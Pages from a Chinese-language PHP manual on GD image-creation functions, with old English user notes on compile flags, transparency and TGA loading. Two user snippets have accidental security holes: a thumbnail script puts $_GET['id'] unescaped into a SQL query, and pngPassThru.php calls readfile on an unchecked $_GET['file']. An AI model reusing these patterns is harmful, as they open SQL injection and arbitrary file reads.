[Ed Note: You must have netpbm installed for this to work --alindeman @ php.net]

Just wanted to let you know that
imagecreatefromjpeg crashes php
(command line at least) sometimes with segmentation fault when jpeg is corrupted.
To get rid of the nasty segmentation fault i used
system ("jpegtopnm f.jpg > f.pnm", $r);
if ($r != 0) {printf ("invalid jpeg\n"); return; }
system ("pnmtopng f.pnm > f.png");
$im =imagecreatefrompng ("f.png");
jason_wilk at hotmail dot com
02-Oct-2001 01:16
Wow, it only took me 3 hours to get all of the lib paths correct for my install. Some of them are /usr, and some are /usr/lib...go figure. I figured that I would post this in the hopes that it will save somebody some time.

Remember that if you're using rpm installs...you have to install the devel packages. For example, if you're installing mysql from rpm, and you want to compile with support for your particular MySql dist, you must install mysql-devel*.rpm.

Anyway, I'm a redhat 7.1 install...with all appropriate devel packages installed.

./configure \
--with-mysql=/usr \
--with-ftp \
--with-apxs=/home/www/bin/apxs \
--with-xpm-dir=/usr/X11R6 \
--with-gdbm=/usr/lib \
--with-gd=/usr \
--with-zlib-dir=/usr/lib \
--with-jpeg-dir=/usr/lib \
--with-png-dir=/usr/lib \
--with-tiff-dir=/usr/lib \
--with-config-file-path=/home/www/conf \
--with-freetype-dir=/usr/lib \
--enable-magic-quotes \
--enable-track-vars
paul at rainbowzone dot com
29-Aug-2001 03:21
Basta/Justnoone:
GD no longer supports the GIF format due to legal issues with Unisys (they own the patent for LZW compression used in GIF). See the documentation for GD for more details:
http://www.boutell.com/gd/manual1.8.4.html
brett_no_spam at dolphyn dot com
02-Jul-2001 09:56
In the new versions (PHP 4.0.6, GD 2.0.1), ImageCreateFromJPEG() results in a TRUE COLOR image.

In the older versions, you only get 256 colors.
dmsales at design-monster dot com
28-Jun-2001 01:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
infoNOSPAM at psnetworks dot net
09-Apr-2001 12:33
For those having trouble getting jpeg support using gd, make sure you
rm config.cache
before reconfiguring php. Otherwise the configure script will assume jpeg support is still not compiled into gd.
mboucher at ampmedia dot net
20-Feb-2001 08:00
In response to my own post:

Maybe this is common knowledge but here is how I solved my problem. Hopefully this will help out seeing how I couldn't find any other articles on this topic with a solution.

This seems to work pretty well. Displays in browser and QT Picture Viewer but for some reason Photoshop won't open it. Translation error. Since I'm just using it to cache the image for when the our content provider goes down no biggie there.

$si = fopen($imagePathURL, "r");  // open URL

   $serverImg = fread($si, 1000000);  // read contents

fclose($si);  // close file

/* open file to save to (w+ creates if file does not exist || b opens binary safe [Win32]) Seemed to work fine with out the 'b' on Windows NT but just to be safe. */

$si = fopen($saveImgTo, "w+b");

   fwrite($si, $serverImg);  // write contents to file

fclose($si);  // close file

Hope this helps somebody...long live PHP
support at corbach dot de
22-Dec-2000 07:46
Wonder why that's just the only image function you can't get to work? Remember that you have to use a gd library that supports JPEG (make it manually and <important>edit the makefile</important>)! Especially all gd RPMs from SuSE (including 7.0) don't support it as it's not default up to gd 1.8.3.
timpie2000 at zeelandnet dot nl
23-Sep-2000 08:52
Be sure to allocate your colors AFTER you used this function or else you might get some strange colors..
rodders_plonker at yahoo dot com
21-Jul-2000 11:49
To all those having trouble with a message to the effect of:<br>
CreateImageFromJpeg() not supported in this PHP build<br>
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)
add a note add a note

后退 | 起点 | 前进
imagecreatefromgif | 上一级 | imagecreatefrompng


imagecreatefrompng

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

imagecreatefrompng -- 从 PNG 文件或 URL 新建一图像

说明

resource imagecreatefrompng ( string filename )

imagecreatefrompng() 返回一图像标识符，代表了从给定的文件名取得的图像。

imagecreatefrompng() 在失败时返回一个空字符串，并且输出一条错误信息，不幸地在浏览器中显示为断链接。为减轻调试工作下面的例子会产生一个错误 PNG：

例子 1. 处理创建过程中的错误

<?php
function LoadPNG($imgname)
{
    $im = @imagecreatefrompng($imgname); /* Attempt to open */
    if(!$im) { /* See if it failed */
        $im  = imagecreatetruecolor(150, 30); /* Create a blank image */
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);
        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        imagestring($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
?>

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
alext82 at hotmail dot com
31-May-2006 08:54
I was having trouble with
$black = imagecolorallocate($im, 0, 0, 0);
, as it would always display grey letters.

this solved it however:

$black = imagecolorresolve($im, 0, 0, 0);

this regarding this function.

imagettftext($im, 11, 7, 55, 60, $black, $font, $string);

I hope this helps.
hendrikjan dot vanmeerveld at gmail dot com
01-May-2006 06:23
Another usefull note for those using ImageCreateFromPng:
PHP and GD do not recognize grayscale/alpha images.

So if you use grayscale images with transparency between 0% and 100%, then save the image as RGB.

At least this is true for PHP Version 4.4.2-1 and in 5.1.2-1 with pictures made with GIMP 2.2.8.
ketay [AT] comcast [DOT] net
05-Sep-2005 03:33
A correction... If you are to set it to FALSE, then not only does it add the transparency to wherever you put it, but it takes the transparency out of the TTF files. Setting it to TRUE however, keeps your transparency both in your PNG file, and in any TTF text you make apply to the image.
rf at i---i dot org
02-Nov-2004 07:47
***CORRECTION*** to 07-Jun-2004 01:14
imageAlphaBlending must be false, NOT TRUE

$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, false); <<<FALSE
imageSaveAlpha($imgPng, true);
07-Jun-2004 07:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>
csaba at alum dot mit dot edu
01-Jun-2004 01:57
This is a another case of someone (IE) thinking they know better than you what you want.  If you are of a mind to generate a complicated (read takes a long time) image incrementally, you might do it by having an IFRAME which calls to the image generating PHP script.  That munches for a bit, saves the file, returns to the client (remembering we're in the iframe so the user doesn't see all this) (with appropriate state information in <input type=hidden ...> fields) which kicks off an <body onLoad='docInit()' ...> whose purpose is to set the src attribute of the png image to the saved file (so the user sees the changes), and then resubmit the iframe (the image isn't in the iframe so the iframe can be hidden) to repeat the process.  Very nifty.

However, IE 6 has decided that it is far better to use a cached version of an image even on a local machine, where it can readily see that it changed, rather than to go to the source.  And, since it's a file, you can't so easily set headers on it.  This means that your incremental updates may not show any updates.

I solved this by (1) having Apache rewrite every .png request to a single .php file:
RewriteRule ^(.*).png$ pngPassThru.php?file=$1.png [QSA,L,NC]

(2) All pngPassThru.php does is to return the .png file with "don't cache me" headers.  Avoid leading/trailing spaces in pngPassThru.php.  The headers might be simplified - I've collected them from various sources and am not sure which ones could be eliminated.  But this is working for me on IE 6:
<?php
header("Content-type: image/png");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$file=@$_GET['file'];
$size= filesize($file);
header("Content-Length: $size bytes");
readfile($file);
?>

Csaba Gabor
aniakovas at yahoo dot co dot uk
27-Apr-2004 09:13
Hey guys,

It has been my experience that the image type of a png file is best set to:-

image/x-png

This may be a peculiarity of the server I'm working on, which is running Apache/FreeBSD

Ania
polak_sg at hotmail dot com
05-Nov-2002 11:02
don't forget to write the header into your function file!!
header ("Content-type: image/png");
wyvern at greywyvern.com
05-Oct-2002 11:45
Make sure when coding image serving scripts that you avoid using the full "http://" URL of the image whenever possible.  Use "../imagename" etc.

Loading URL's from your own site will double your used bandwidth, as the script grabbing the image will count against it as well as sending it to the browser.
robross at comcast dot net
27-Feb-2002 08:47
This color table issue is actually a bit more complicated.

From my testing, it would appear that whatever colors you have specified in the color table for your picture in the first nth number of spots, those colors will automatically be given to the first "n" colors you attempt to use in your CreateImagefromPNG.

So, for example, if you need to create dynamic black and red text in your image, the first three spots in the color table for your background image should be white, black and red (in this order).

This can be a pain, but it is the only way to ensure that your images look as intended in all browsers.
netfiend at mediaone dot net
24-May-2001 07:04
I've noticed a couple of things with the ImageCreateFromPng function that may be useful if your having problems.

1st thing I noticed is that the PNG file you are creating from needs to be indexed and less than 256 colors.

Secondly, you need to reduce the color depth by 1 for each color you plan on generating in php...  I.E.  if you plan on drawing 50 different colors on the screen with php you need to allocate space for them by reducing the origional image's color depth to 205 colors (I was pulling my hair out on this one for a while because the wrong colors were showing up in the output).

Also, if you are saving the image as a PNG you need to allocate the 1st color as white.. The reason for this is that Internet Explorer seems to interpret the first color in an indexed PNG as white no matter what color it is... (Figured this out when all my pretty black text was turning up as white in I.E. and was normal in Netscape; allocated the first color in the image as white and the problem went away.)

-- hope this helps.
add a note add a note

后退 | 起点 | 前进
imagecreatefromjpeg | 上一级 | imagecreatefromstring


imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5)

imagecreatefromstring -- 从字符串中的图像流新建一图像

说明

resource imagecreatefromstring ( string image )

imagecreatefromstring() 返回一个图像标识符，其表达了从给定字符串得来的图像。图像格式将自动检测，只要 PHP 支持：JPEG，PNG，GIF，WBMP 和 GD2。

返回值

成功则返回图像资源，如果图像格式不支持，数据不是认可的格式，或者图像已损坏则返回 FALSE。

范例

例子 1. imagecreatefromstring() 例子

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
       . 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
       . 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
       . '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
    header('Content-Type: image/png');
    imagepng($im);
}
else {
    echo 'An error occured.';
}
?>

参见

imagecreatefromjpeg()
imagecreatefrompng()
imagecreatefromgif()
imagecreatetruecolor()

add a note add a note User Contributed Notes
junkmail at pmobl dot com
26-Feb-2006 06:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

   //get the file contents
   $data = file_get_contents($orig);

   //if its a PPC 6700 image cut out the extraneous 16 bits
   if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
       $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
       return substr_replace($data, "", strpos($data, $bad_data),
       strlen($bad_data));
   } else {
       //if not from a PPC 6700 return data unaltered
         return $data;
   }

}
kakail at aei dot ca
27-Nov-2005 10:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com
29-Aug-2005 08:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net
26-Jul-2005 10:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
   public $file;
   public $debug = "n";
   public $dir_name = "";
   private $img; //the image created from the string
   private $str;

   function fix($file)
   {

       //set the file to fix
       $this->file = $file;

       //load the file into a string
       $this->str = file_get_contents($this->file);

       //test to see if it is a nokia image or if it has been corrupted previously
       if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
       {
           if ($this->debug =="y")
           {
               echo "\n<br />".$this->file." is not a corrupted Nokia pic";
           }

           return true;
       }

       //make a directory for fixed images if it doesn't exist and is specified
       if(!empty($this->dir_name) && !is_dir($this->dir_name))
       {
           @mkdir($this->dir_name, 0777);
       }

       //strip out the funk e crap from the file
       $this->eat($this->str);

       //write the file back to itself
       file_put_contents($this->dir_name.$this->file, $this->str);

       //return true for fixed
       return true;

   }

   function eat()
   {

       //check the image
       $this->img = @imagecreatefromstring($this->str);

       //if the image doesn't work then keep striping out crap
       while(!$this->img)
       {
           //cut off the bad bytes one by one
           $this->str= substr_replace($this->str, "", -3, -2);

           //check the image again
           $this->img = @imagecreatefromstring($this->str);
       }

       if ($this->debug =="y")
       {
           //notify the user it's fixed
           echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
       }
       return true;
   }

}
not given
04-Aug-2003 05:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
shiehj at yahoo dot com
12-Apr-2003 12:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

   $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
   @mysql_select_db($dbname, $link);

   $query = "select filetype, image from pictures where id = $id";
   $result = @mysql_query($query);

   $data = @mysql_result($result,0,"image");
   $type = @mysql_result($result,0,"filetype");

   Header( "Content-type: $type");

   $size = 150;  // new image width
   $src = imagecreatefromstring($data);
   $width = imagesx($src);
   $height = imagesy($src);
   $aspect_ratio = $height/$width;

   if ($width <= $size) {
     $new_w = $width;
     $new_h = $height;
   } else {
     $new_w = $size;
     $new_h = abs($new_w * $aspect_ratio);
   }

   $img = imagecreatetruecolor($new_w,$new_h);
   imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

   // determine image type and send it to the client
   if ($type == "image/pjpeg") {
     imagejpeg($img);
   } else if ($type == "image/x-png") {
     imagepng($img);
   } else if ($type == "image/gif") {
     imagegif($img);
   }
   imagedestroy($img);
   mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com
06-Mar-2003 08:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

   header('Content-Type: image/gif');
   header('Content-Disposition: inline; filename=file.gif');

   $temp = tmpfile();
   fwrite($temp, $line['image']);
   $src_img = imagecreatefromgif($temp);
   fclose($temp); // this removes the file
   $dst_img = imagecreatetruecolor(100, 100);
   imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

   imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

   header('Content-Type: image/jpeg');
   header('Content-Disposition: inline; filename=file.jpg');

   $src_img = imagecreatefromstring($line['image']);
   $dst_img = imagecreatetruecolor(100, 100);
   imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

   imagejpeg($dst_img);
add a note add a note

后退 | 起点 | 前进
imagecreatefrompng | 上一级 | imagecreatefromwbmp


imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromwbmp -- 从 WBMP 文件或 URL 新建一图像

说明

resource imagecreatefromwbmp ( string filename )

imagecreatefromwbmp() 返回一图像标识符，代表了从给定的文件名取得的图像。

imagecreatefromwbmp() 在失败时返回一个空字符串，并且输出一条错误信息，不幸地在浏览器中显示为断链接。为减轻调试工作下面的例子会产生一个错误 WBMP：

例子 1. 处理创建过程中的错误

<?php
function LoadWBMP($imgname)
{
    $im = @imagecreatefromwbmp($imgname); /* Attempt to open */
    if(!$im) { /* See if it failed */
        $im  = imagecreatetruecolor(20, 20); /* Create a blank image */
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);
        imagefilledrectangle($im, 0, 0, 10, 10, $bgc);
        /* Output an errmsg */
        imagestring($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
?>

注: WBMP 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
nko38 dot fr at gmail dot com
02-Nov-2005 09:20
for .bmp files, convert them with bmp2png, then you can use this files in gd

http://hp.vector.co.jp/authors/VA010446/b2p-home/
Tim de Koning
17-Jun-2005 08:57
Looking for functions for Windows Bitmap-files? Take a look at these great functions written by JPEXS.

http://jpexs.wz.cz/?page=php&Language=eng
clambert at whitecrown dot net
17-Jun-2001 04:47
WBMP images are Wireless Bitmaps, not Windows Bitmaps. WBMP is used for bandwidth constrained, black and white, limited devices such as PDAs and Cell Phones.
add a note add a note

后退 | 起点 | 前进
imagecreatefromstring | 上一级 | imagecreatefromxbm


imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxbm -- 从 XBM 文件或 URL 新建一图像

说明

resource imagecreatefromxbm ( string filename )

imagecreatefromxbm() 返回一图像标识符，代表了从给定的文件名取得的图像。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecreatefromwbmp | 上一级 | imagecreatefromxpm


imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5)

imagecreatefromxpm -- 从 XPM 文件或 URL 新建一图像

说明

resource imagecreatefromxpm ( string filename )

imagecreatefromxpm() 返回一图像标识符，代表了从给定的文件名取得的图像。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecreatefromxbm | 上一级 | imagecreatetruecolor


imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5)

imagecreatetruecolor -- 新建一个真彩色图像

说明

resource imagecreatetruecolor ( int x_size, int y_size )

imagecreatetruecolor() 返回一个图像标识符，代表了一幅大小为 x_size 和 y_size 的黑色图像。

例子 1. 新建一个新的 GD 图像流并输出图像

<?php
header("Content-type: image/png");
$im = @imagecreatetruecolor(50, 100)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

注: 本函数需要 GD 2.0.1 或更高版本。

注: 本函数不能用于 GIF 文件格式。

参见 imagedestroy() 和 imagecreate()。

add a note add a note User Contributed Notes
d dot duquenoy at kdland dot org
02-Jun-2006 04:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de
23-May-2006 09:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net
25-Jun-2005 10:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
   $width = imagesx ( $input_image_resource );
   $height = imagesy ( $input_image_resource );
   $output_image_resource = imagecreatetruecolor ( $width, $height );
   $y = 1;

   while ( $y < $height )
   {
       for ( $i = 1; $i <= $width; $i++ )
           imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
       $y = $y + 1;
   }

   return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
   $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
   $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
   if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
       echo "Image resaved successfully";
   else
       echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 06:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
   $imageOut = imagecreate($x, $y);
   $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
   imagecolortransparent($imageOut, $colourBlack);
   return $imageOut;
}
send at mail dot 2aj dot net
21-Jun-2005 09:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
   $handle = fopen ( $filename, 'rb' );
   $data = fread ( $handle, filesize( $filename ) );
   fclose ( $handle );

   $pointer = 18;
   $x = 0;
   $y = 0;
   $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
   $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
   $img = imagecreatetruecolor( $w, $h );

   while ( $pointer < strlen ( $data ) )
   {
       imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
       $x++;

       if ($x == $w)
       {
           $y++;
           $x=0;
       }

       $pointer += 3;
   }

   if ( $return_array )
       return array ( $img, $w, $h );
   else
       return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com
27-Feb-2005 03:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
   $handle = fopen($image, "rb");
   $data = fread($handle, filesize($image));
   fclose($handle);

   $pointer = 18;
   $w = fileint (substr ($data, 12, 2));
   $h = fileint (substr ($data, 14, 2));
   $x = 0;
   $y = $h;

   $img = imagecreatetruecolor($w, $h);

   while ($pointer < strlen($data))
   {
       imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

       $x++;

       if ($x == $w)
       {
           $y--;
           $x = 0;
       }

       $pointer += 3;
   }

   for($a = 0; $a < imagecolorstotal ($img); $a++)
   {
       $color = imagecolorsforindex ($img, $a);

       $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
       $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
       $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

       imagecolorset ($img, $a, $R, $G, $B);
   }

   imagejpeg ($img, 'test.jpg', 100);
   imagedestroy ($img);
}

function fileint($str)
{
   return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com
14-Dec-2004 04:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian
05-Dec-2004 08:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info
08-Oct-2004 12:20
using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net
25-May-2004 05:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer
09-Jan-2004 12:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru
27-Dec-2003 09:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

